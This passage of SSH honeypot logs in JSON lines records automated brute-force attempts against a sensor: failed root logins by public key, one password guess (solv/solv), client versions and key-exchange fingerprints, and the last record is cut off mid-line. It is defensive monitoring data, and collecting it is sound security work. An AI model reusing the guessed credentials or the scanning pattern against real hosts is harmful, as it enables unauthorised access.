{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:35:97:59:f8:07:0f:be:3b:ca:58:09:40:ae:cf:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFkaLME4bhq2YJHZyUG19FnctafKy8UGsR2k5XA5ktGmcaMe9DpeDkunL35lgmXZ6IQffvpgT2IE6GQxw2AN4rwBakGi4JKt6+T/7iODg5Ei9uAxVtODPTYd8JLW/eAMzhb3a5y+UL3S2rkPwUzl+2V3R13K6v0ifYkRonTAdZdRfb0OrGlOuNpt5MPTqum1rOU2EgKSa3MxKr+ecsHaWrRlMJ8zGDql+IfU9nj8XYGkJ6B4PG8a8mIPdw3NZosu5gcfdJy2NZck0XTUORu1xoa9CUKcfX+722XGTEgaMapa+8gF6DR96CgzuArQjsLiF6LtBY75OSSPEu6Tcu90lCTNAEugRBixJAMV50fBGGBZpA1uno4qYpSRoecgdg5QHp39I14NiBJLfm78ukf/1aL/I/mXn/btTJVZUyhCEROLrj1by1S1kKqLKJw8PWWX3pG2khC2bMPGhcEYPZ3XYVpDLOV44sUSaVTn/cbzuerergDQbpafxEtDFgtkONKnE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:14.946343Z","src_ip":"51.159.104.219","session":"2af687a3b246","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:bb:58:8f:35:12:d9:db:8d:df:b0:84:cf:16:54:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC85WvWVmf17F2twTEFGp+JZ2og5IR+R8Bu9QTn1+YIxYaRuQO2Uk4ppDulw+tjoUcG59p3nFUIJajcCnW/QVY5VCJ26PrmghfVvzV7aIGFsLjMV+YzDfcqQKZVn2vsjaj+l27sajDHwtAnnJUbPY7tM8WgV0BXgPvnGmDvE8rDe6Tztih0Fs13H7KxctuGbgLV8gAHriMYaOSSTks3brc7yqoBCR4zEOgnnjrIptwfeixESfKQ+CQruBbUJPwETwTnU5j+z83wOuh4FOvyCrQkRU5wjnKzUynm3TxKxS0z3KMkHSVg5tsRtFzd1RLNnhdArFu5oAWc3dLdkrRmOVoR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a9:bb:58:8f:35:12:d9:db:8d:df:b0:84:cf:16:54:72","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:15.033513Z","src_ip":"51.159.104.219","session":"2af687a3b246","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:bb:58:8f:35:12:d9:db:8d:df:b0:84:cf:16:54:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC85WvWVmf17F2twTEFGp+JZ2og5IR+R8Bu9QTn1+YIxYaRuQO2Uk4ppDulw+tjoUcG59p3nFUIJajcCnW/QVY5VCJ26PrmghfVvzV7aIGFsLjMV+YzDfcqQKZVn2vsjaj+l27sajDHwtAnnJUbPY7tM8WgV0BXgPvnGmDvE8rDe6Tztih0Fs13H7KxctuGbgLV8gAHriMYaOSSTks3brc7yqoBCR4zEOgnnjrIptwfeixESfKQ+CQruBbUJPwETwTnU5j+z83wOuh4FOvyCrQkRU5wjnKzUynm3TxKxS0z3KMkHSVg5tsRtFzd1RLNnhdArFu5oAWc3dLdkrRmOVoR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:15.038051Z","src_ip":"51.159.104.219","session":"2af687a3b246","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:b4:25:89:9f:39:c0:03:6c:ee:e2:de:96:3e:19:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChLXDO1P8ec2DmKxWP7Qlj8wDUn8xBYVlozj1k+TPQt6xUfgf7OpVT4hngLHUNUbZDscxmVMkYjCP6esb7jdnhnMLv0wgipscTSRU/0EnWZ5RRBF7CxW0BdPe+5DLa+L3p099oxWmsMRTAsYQ3ITePHw+PoJSNkU2m7tClu/hZRk6Pe69TOjgBeU9tx7SaSj1pi/ja8di+7AlISuwxwimJylxMXQUG4rltXkgUyNHBWR84IJbgwMUN9WuYe6RsTQRWEvTRv5e7YEK8HtRT/nrQ5ETm8jkU+jrBUwQ65p8iLg/3Ltl8XQTr0LiLvlT1CWjm6SjA+i6lscklHW1Ma3kH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:b4:25:89:9f:39:c0:03:6c:ee:e2:de:96:3e:19:7c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:15.124911Z","src_ip":"51.159.104.219","session":"2af687a3b246","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:b4:25:89:9f:39:c0:03:6c:ee:e2:de:96:3e:19:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChLXDO1P8ec2DmKxWP7Qlj8wDUn8xBYVlozj1k+TPQt6xUfgf7OpVT4hngLHUNUbZDscxmVMkYjCP6esb7jdnhnMLv0wgipscTSRU/0EnWZ5RRBF7CxW0BdPe+5DLa+L3p099oxWmsMRTAsYQ3ITePHw+PoJSNkU2m7tClu/hZRk6Pe69TOjgBeU9tx7SaSj1pi/ja8di+7AlISuwxwimJylxMXQUG4rltXkgUyNHBWR84IJbgwMUN9WuYe6RsTQRWEvTRv5e7YEK8HtRT/nrQ5ETm8jkU+jrBUwQ65p8iLg/3Ltl8XQTr0LiLvlT1CWjm6SjA+i6lscklHW1Ma3kH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:15.129494Z","src_ip":"51.159.104.219","session":"2af687a3b246","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:15.217696Z","src_ip":"51.159.104.219","session":"2af687a3b246","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:16.272512Z","src_ip":"2.57.122.208","session":"3db05827929c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:17.702670Z","src_ip":"2.57.122.208","session":"3db05827929c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.243.37.202","src_port":17082,"dst_ip":"10.17.0.5","dst_port":22,"session":"56c8e7341723","protocol":"ssh","message":"New connection: 104.243.37.202:17082 (10.17.0.5:22) [session: 56c8e7341723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:22.077600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:22.082585Z","src_ip":"104.243.37.202","session":"56c8e7341723","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:22.095222Z","src_ip":"104.243.37.202","session":"56c8e7341723","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:1d:e4:22:57:a1:e4:05:5d:40:dd:25:a5:be:f8:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwQ5uYSPsx2dkntDmdzsdE7fBQXHK35/1AyJ37cDq/lRWSTy2fiS1ivpzZSyNYtY9+10bO+jXu1gjb1UajeuksLBIGm1dR3oI1Mfoitv3585o45yyOg3aHzyQzPvxR/jVHhiCNyslzGfXz+Zc1tl63wlgv0LajyqHvayeaeArlSm64yvtuzo6lc6x555823oAja05QG6AWe1b56Wv+F1uwYOajketWDYpOS65wbfM5fAHzJJXlhvx2rkKnOE4/eJdvZorlkWSSC7NQ2EspK4F1MHXQv1Jg3DxRVso1pTmFhxMEFR4LNzfTCpjSJpRkVfPE1YojHeXB9ubiUU1DBfu3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4c:1d:e4:22:57:a1:e4:05:5d:40:dd:25:a5:be:f8:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:22.113879Z","src_ip":"104.243.37.202","session":"56c8e7341723","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:1d:e4:22:57:a1:e4:05:5d:40:dd:25:a5:be:f8:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwQ5uYSPsx2dkntDmdzsdE7fBQXHK35/1AyJ37cDq/lRWSTy2fiS1ivpzZSyNYtY9+10bO+jXu1gjb1UajeuksLBIGm1dR3oI1Mfoitv3585o45yyOg3aHzyQzPvxR/jVHhiCNyslzGfXz+Zc1tl63wlgv0LajyqHvayeaeArlSm64yvtuzo6lc6x555823oAja05QG6AWe1b56Wv+F1uwYOajketWDYpOS65wbfM5fAHzJJXlhvx2rkKnOE4/eJdvZorlkWSSC7NQ2EspK4F1MHXQv1Jg3DxRVso1pTmFhxMEFR4LNzfTCpjSJpRkVfPE1YojHeXB9ubiUU1DBfu3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:22.117110Z","src_ip":"104.243.37.202","session":"56c8e7341723","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:a8:bc:29:86:ef:b1:d7:cb:26:63:ef:b2:fe:77:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCRqdfzf8gGLSzrN1x+6OEfjBJanalW46RqtUOAgL5jgMoh3+E3Zq5svctx1LGzdXdQln7moL1FZ86frbyQuyxHkOFTBE1mDGJIsO39/4IbgrZKeUQeBnN4LT5gRflEmFSI5SZn2G67eA5Vb07JazzMqsR+EYm0iUWFQL212Ki9ICYbW37fCHkZ7RJ2Qb77VsAYcCWgx+nZbcYZZ699KknaCdwNzSToSPngwFmy2V0If+qXb2DJa9e41iVKeQerrdmcJRU2UmK6ullj6BHFp7ERUXpIqNcyxR1W0JE8rSGs5qgJVZublmUobjnOj4Ibo91JIJLx03g53dhbJhPxbzxPUOmuv4hR0eR7QJ6K4Rt0U6gQ4fmV3t6XfHkhEswCy18OvGR8idz7QR2go/qN7Q4dw+EuU9Tf8IZej7BcUCrip4RivIrRxZOOl1zPWWxLBfS1qP9LwGx5Q8h4H2EIpawVbW3WfOmaNFJ2CBBmHwryD641k4grcCPPAo0HTSJW8J7w3v/3wN012J2FtLPBINggzpfTh5QblveOXIKKzIZrPVeq6JYzoP9xZBxFG7KUDGYihQxQ6zyOlXU7p2oZ6UpPzU5HKWDE/0Udohj6H/4n7mhaEVNIRmq7kYDlEktQpNfgUM91LXNsH7IqlXVk9MTkmoVxW3wjvieDDjQUA/hSXw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:a8:bc:29:86:ef:b1:d7:cb:26:63:ef:b2:fe:77:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:22.125043Z","src_ip":"104.243.37.202","session":"56c8e7341723","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:a8:bc:29:86:ef:b1:d7:cb:26:63:ef:b2:fe:77:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCRqdfzf8gGLSzrN1x+6OEfjBJanalW46RqtUOAgL5jgMoh3+E3Zq5svctx1LGzdXdQln7moL1FZ86frbyQuyxHkOFTBE1mDGJIsO39/4IbgrZKeUQeBnN4LT5gRflEmFSI5SZn2G67eA5Vb07JazzMqsR+EYm0iUWFQL212Ki9ICYbW37fCHkZ7RJ2Qb77VsAYcCWgx+nZbcYZZ699KknaCdwNzSToSPngwFmy2V0If+qXb2DJa9e41iVKeQerrdmcJRU2UmK6ullj6BHFp7ERUXpIqNcyxR1W0JE8rSGs5qgJVZublmUobjnOj4Ibo91JIJLx03g53dhbJhPxbzxPUOmuv4hR0eR7QJ6K4Rt0U6gQ4fmV3t6XfHkhEswCy18OvGR8idz7QR2go/qN7Q4dw+EuU9Tf8IZej7BcUCrip4RivIrRxZOOl1zPWWxLBfS1qP9LwGx5Q8h4H2EIpawVbW3WfOmaNFJ2CBBmHwryD641k4grcCPPAo0HTSJW8J7w3v/3wN012J2FtLPBINggzpfTh5QblveOXIKKzIZrPVeq6JYzoP9xZBxFG7KUDGYihQxQ6zyOlXU7p2oZ6UpPzU5HKWDE/0Udohj6H/4n7mhaEVNIRmq7kYDlEktQpNfgUM91LXNsH7IqlXVk9MTkmoVxW3wjvieDDjQUA/hSXw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:22.129103Z","src_ip":"104.243.37.202","session":"56c8e7341723","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:16:5f:b2:46:9a:18:f6:26:a9:ce:ac:27:19:a8:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDRS25OPyc9gkgsjM5BY+LbF3U4Ib5l/lHoilrrhn3MRS6dH4+5l1iMyyHkl+aFWMT64MNGaNFABkeVB8au+jeEmkyGKMfdWrHwiiA8/tz912PnYiwpr8bSbG4+051vDtr9ihuBpfPaFENfIKzZWLue8leaC5DQdsksBgdWNotPudFrSQulVi2M2LF1vJ0N2MpOVodUTs/ap/hON89jtt6g9ZHpZu/KbWLgiEEme3RR9wJaL4NZU+EpAquUx+qAhcrtO06fMWvYOf54r1AkGOcYNjzCb8X24KHvoQAQtj49snlm/TowNRDScbHAgryiCTufGJQoyJviTtEwmTaQwESkgmRBuB0tN5UNQO4VQyDo1ffVkBNORlXCiKwzVedtiQmik+KGo2G/y4/LfaAwDC/YXuZf65zHUbGyfD+749677GAqmTYP1sWyqIR2qwkQ1AHBQJQKQTMT+TxXSPLNiR5N7rm0+XRla8cl4oXRZM00nSXkJ41Ug0B9ftIQFBEOWkKU/XESFh8TO5v0Vsmp5hNR5zigy1bl2P7uhJfZYHg0c8vbrV7U3hPZA7kWlsJ01Axt2wZMUYjy5zGIlESfdeGvfXZeHKIOrd3ypv5mPp5Qohq6d0e+Lgwg1pRTJrs9X6TS6LkdtEXPb3Q+KXDlO25C60Sr9xkPKPqrhwJvPsi90w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:16:5f:b2:46:9a:18:f6:26:a9:ce:ac:27:19:a8:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:22.137119Z","src_ip":"104.243.37.202","session":"56c8e7341723","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:16:5f:b2:46:9a:18:f6:26:a9:ce:ac:27:19:a8:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDRS25OPyc9gkgsjM5BY+LbF3U4Ib5l/lHoilrrhn3MRS6dH4+5l1iMyyHkl+aFWMT64MNGaNFABkeVB8au+jeEmkyGKMfdWrHwiiA8/tz912PnYiwpr8bSbG4+051vDtr9ihuBpfPaFENfIKzZWLue8leaC5DQdsksBgdWNotPudFrSQulVi2M2LF1vJ0N2MpOVodUTs/ap/hON89jtt6g9ZHpZu/KbWLgiEEme3RR9wJaL4NZU+EpAquUx+qAhcrtO06fMWvYOf54r1AkGOcYNjzCb8X24KHvoQAQtj49snlm/TowNRDScbHAgryiCTufGJQoyJviTtEwmTaQwESkgmRBuB0tN5UNQO4VQyDo1ffVkBNORlXCiKwzVedtiQmik+KGo2G/y4/LfaAwDC/YXuZf65zHUbGyfD+749677GAqmTYP1sWyqIR2qwkQ1AHBQJQKQTMT+TxXSPLNiR5N7rm0+XRla8cl4oXRZM00nSXkJ41Ug0B9ftIQFBEOWkKU/XESFh8TO5v0Vsmp5hNR5zigy1bl2P7uhJfZYHg0c8vbrV7U3hPZA7kWlsJ01Axt2wZMUYjy5zGIlESfdeGvfXZeHKIOrd3ypv5mPp5Qohq6d0e+Lgwg1pRTJrs9X6TS6LkdtEXPb3Q+KXDlO25C60Sr9xkPKPqrhwJvPsi90w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:22.140908Z","src_ip":"104.243.37.202","session":"56c8e7341723","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:f2:9d:91:1a:69:f6:f6:59:2c:e3:02:4d:30:43:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCtdIOUl2hesGHKIwAaw4IuyoDHPaaNn7Z3m9zmJM3TiRONWUtvCwPmv5Rg81g5pb1DJJGf1OlmlOJh28mMUe/2HCE+Ja3leGq8D4Pa9h2SryYei4j4z1mdsOR3bZSJFFh3bVJgg9UOs0LuQ2va8QVvryuo+krseZDl5GQzG6PNuph1D0cRwxRFfZ8x88hnU7NvPEE663jPgyH008hcjaWdomsy9zQq6iYGxt2bxTOLdiTRf8zFHVDB2xJY2jYon/fBtewtg2ZQLJKvpnTv4cN1RVJm5B3LI4MBNbrYvI5VRdOLcVmWr9uG3gwpXbH0dPlLUr+29O5KsVsXoD3RA/NcRWHO6XPMIdQliNNZdXg4l7HnpAuS3fOnmeZN3rcy09RH9EFpyo7woK1x2WiObf1Twakp8wiySeuc97emCebfpyW7rKHGC+LbbIcrQoL99JFoCb31khdiZQfJr20eJ2Va+ImB+ndwaTjULn3C1Il4p6zkLwqxq6I2RrnWnYrEhJ6I/ygKwjrb30cKhRHJ9HvMEraRgc5ehFOyJIzgW++pvWijuIGzICN83n9j7nrt1iGQbHn97/bNrFNjgQIWy1a3aIrufu5G7uVpTKQe04USeJ/r/V4xlqEGc2b8AaXbMZuEgR/a6oIh1HJ0pmwSkpMo3nTBPneS1tp5lhkcrpqAWw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:f2:9d:91:1a:69:f6:f6:59:2c:e3:02:4d:30:43:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:22.150021Z","src_ip":"104.243.37.202","session":"56c8e7341723","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:f2:9d:91:1a:69:f6:f6:59:2c:e3:02:4d:30:43:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCtdIOUl2hesGHKIwAaw4IuyoDHPaaNn7Z3m9zmJM3TiRONWUtvCwPmv5Rg81g5pb1DJJGf1OlmlOJh28mMUe/2HCE+Ja3leGq8D4Pa9h2SryYei4j4z1mdsOR3bZSJFFh3bVJgg9UOs0LuQ2va8QVvryuo+krseZDl5GQzG6PNuph1D0cRwxRFfZ8x88hnU7NvPEE663jPgyH008hcjaWdomsy9zQq6iYGxt2bxTOLdiTRf8zFHVDB2xJY2jYon/fBtewtg2ZQLJKvpnTv4cN1RVJm5B3LI4MBNbrYvI5VRdOLcVmWr9uG3gwpXbH0dPlLUr+29O5KsVsXoD3RA/NcRWHO6XPMIdQliNNZdXg4l7HnpAuS3fOnmeZN3rcy09RH9EFpyo7woK1x2WiObf1Twakp8wiySeuc97emCebfpyW7rKHGC+LbbIcrQoL99JFoCb31khdiZQfJr20eJ2Va+ImB+ndwaTjULn3C1Il4p6zkLwqxq6I2RrnWnYrEhJ6I/ygKwjrb30cKhRHJ9HvMEraRgc5ehFOyJIzgW++pvWijuIGzICN83n9j7nrt1iGQbHn97/bNrFNjgQIWy1a3aIrufu5G7uVpTKQe04USeJ/r/V4xlqEGc2b8AaXbMZuEgR/a6oIh1HJ0pmwSkpMo3nTBPneS1tp5lhkcrpqAWw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:22.153358Z","src_ip":"104.243.37.202","session":"56c8e7341723","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:7c:7a:a1:1a:e5:db:fa:61:4e:03:0f:63:fa:0a:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnZ9pYj/RJKd3u3YQkwfJLa6w5qZ10LKNeP7pO4nLuN9Bx12g1Rvvqbw60xMapageRinI1GNtIB6rouM2f/5LT+Um4aE19XrorzTS+XnEs4JmbCry1fy7qJMjE/4guST1s/2hDIM9DCcoJuoWeXLkS+MstsG1aTDgVgbW+vdhZD1vKtz1gKEYGMUb6962cEXiO/KsQpF9Fy/6MuRtplGT+79pyDXCyHpuV8Eq2Sl4fWaCz4oUUU1bNO1qUVhqbtErg7mq9/Ty2GDVPCxM89M+uxrBTUQcu4ykki+8KYgLAX7bdgGRvxCGjPQounCgB6pWYk4BNgTdMMnNeQ1cohHA02yVW0gdEoKWNoyWc1SAs6fiiCsSj2oyMW6Kga71TlCoCO23zhX8Iw38NhLRoBYvhyYu5F4RTlUvn+t8rHio3UcgyGgYmrX0eX6UyHftAhDTSS9lsNeihPnU+5MLFTs3g8IUrLVm9avdw/wL38XkhQV6+WZ2L35ycKhuAqz3jjqrWIG1/TxGWm/mPQDBhkr3hi1ju8pPPJGmo2lPLAn5N4vyiN1SA/AMdP9ySyEE1G6N4LXNXkQqJosYgJ+qRXRWCUHm2hsXRt/BLWQXVEawMzY19D/VXHnTXobPJdyGZo7dbiTnwtkUC4pF3peAkWSABt9LMTuWV8vz83SOysi1pzQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:7c:7a:a1:1a:e5:db:fa:61:4e:03:0f:63:fa:0a:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:22.160516Z","src_ip":"104.243.37.202","session":"56c8e7341723","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:7c:7a:a1:1a:e5:db:fa:61:4e:03:0f:63:fa:0a:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnZ9pYj/RJKd3u3YQkwfJLa6w5qZ10LKNeP7pO4nLuN9Bx12g1Rvvqbw60xMapageRinI1GNtIB6rouM2f/5LT+Um4aE19XrorzTS+XnEs4JmbCry1fy7qJMjE/4guST1s/2hDIM9DCcoJuoWeXLkS+MstsG1aTDgVgbW+vdhZD1vKtz1gKEYGMUb6962cEXiO/KsQpF9Fy/6MuRtplGT+79pyDXCyHpuV8Eq2Sl4fWaCz4oUUU1bNO1qUVhqbtErg7mq9/Ty2GDVPCxM89M+uxrBTUQcu4ykki+8KYgLAX7bdgGRvxCGjPQounCgB6pWYk4BNgTdMMnNeQ1cohHA02yVW0gdEoKWNoyWc1SAs6fiiCsSj2oyMW6Kga71TlCoCO23zhX8Iw38NhLRoBYvhyYu5F4RTlUvn+t8rHio3UcgyGgYmrX0eX6UyHftAhDTSS9lsNeihPnU+5MLFTs3g8IUrLVm9avdw/wL38XkhQV6+WZ2L35ycKhuAqz3jjqrWIG1/TxGWm/mPQDBhkr3hi1ju8pPPJGmo2lPLAn5N4vyiN1SA/AMdP9ySyEE1G6N4LXNXkQqJosYgJ+qRXRWCUHm2hsXRt/BLWQXVEawMzY19D/VXHnTXobPJdyGZo7dbiTnwtkUC4pF3peAkWSABt9LMTuWV8vz83SOysi1pzQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:22.163729Z","src_ip":"104.243.37.202","session":"56c8e7341723","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:22.171819Z","src_ip":"104.243.37.202","session":"56c8e7341723","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.153.245.161","src_port":42232,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2c08ef8f81d","protocol":"ssh","message":"New connection: 148.153.245.161:42232 (10.17.0.5:22) [session: a2c08ef8f81d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:28.276005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:28.279792Z","src_ip":"148.153.245.161","session":"a2c08ef8f81d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAl